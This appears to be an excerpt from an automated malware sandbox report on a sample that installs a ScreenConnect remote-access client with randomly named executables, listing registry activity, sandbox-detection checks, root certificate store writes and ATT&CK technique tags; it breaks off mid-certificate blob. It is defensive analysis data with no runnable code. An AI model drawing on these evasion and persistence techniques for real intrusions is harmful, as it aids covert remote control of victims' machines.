Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	q3na5Mc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bgUvqLl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	q3na5Mc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	E3WGlpL.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Dyshh8M.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	6NPpGdC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	VBUN8fn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	67e0HNq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	6NPpGdC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Y9WG5Ep.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	57028ffad4.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	Process not Found
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	q3na5Mc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	q3na5Mc.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Process not Found

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
2768	timeout.exe
3000	timeout.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	ScreenConnect.WindowsClient.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Kills process with taskkill 5 IoCs

defense_evasion

pid	Process
159484	Process not Found
152516	Process not Found
158380	Process not Found
158756	Process not Found
159160	Process not Found

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Internet Explorer\Main	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Internet Explorer\Main	Process not Found
Key created	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies data under HKEY_USERS 52 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	DrvInst.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	DrvInst.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	DrvInst.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	DrvInst.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	DrvInst.exe

Modifies registry class 38 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F371D3396946D7F0354CFF6462B809A1\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-3be09d9e5e840c20\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-A613-D378E3178387}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\E4BCFB79704FF87AB30ED9E9E548C002\F371D3396946D7F0354CFF6462B809A1	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F371D3396946D7F0354CFF6462B809A1\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\24.4.4.9118\\3be09d9e5e840c20\\"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_Classes\Local Settings	Process not Found
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3be09d9e5e840c20\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3be09d9e5e840c20\shell	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3be09d9e5e840c20\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (3be09d9e5e840c20)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-A613-D378E3178387}\ = "ScreenConnect Client (3be09d9e5e840c20) Credential Provider"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F371D3396946D7F0354CFF6462B809A1\Full	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F371D3396946D7F0354CFF6462B809A1	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F371D3396946D7F0354CFF6462B809A1\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F371D3396946D7F0354CFF6462B809A1\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3be09d9e5e840c20\shell\open	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3be09d9e5e840c20\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-A613-D378E3178387}	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F371D3396946D7F0354CFF6462B809A1\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F371D3396946D7F0354CFF6462B809A1\SourceList\Media	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-3be09d9e5e840c20	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3be09d9e5e840c20\URL Protocol	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F371D3396946D7F0354CFF6462B809A1\PackageCode = "F371D3396946D7F0354CFF6462B809A1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F371D3396946D7F0354CFF6462B809A1\Version = "402915332"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F371D3396946D7F0354CFF6462B809A1\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3be09d9e5e840c20	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-A613-D378E3178387}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (3be09d9e5e840c20)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F371D3396946D7F0354CFF6462B809A1	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F371D3396946D7F0354CFF6462B809A1\ProductName = "ScreenConnect Client (3be09d9e5e840c20)"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F371D3396946D7F0354CFF6462B809A1\Language = "1033"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F371D3396946D7F0354CFF6462B809A1\ProductIcon = "C:\\Windows\\Installer\\{933D173F-6496-0F7D-53C4-FF46268B901A}\\DefaultIcon"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F371D3396946D7F0354CFF6462B809A1\DeploymentFlags = "3"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F371D3396946D7F0354CFF6462B809A1\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F371D3396946D7F0354CFF6462B809A1\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F371D3396946D7F0354CFF6462B809A1\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\24.4.4.9118\\3be09d9e5e840c20\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-A613-D378E3178387}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\E4BCFB79704FF87AB30ED9E9E548C002	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F371D3396946D7F0354CFF6462B809A1\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F371D3396946D7F0354CFF6462B809A1\SourceList\Media\1 = ";"	msiexec.exe

Modifies system certificate store 2 TTPs 8 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	rapes.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25	q3na5Mc.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	q3na5Mc.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092f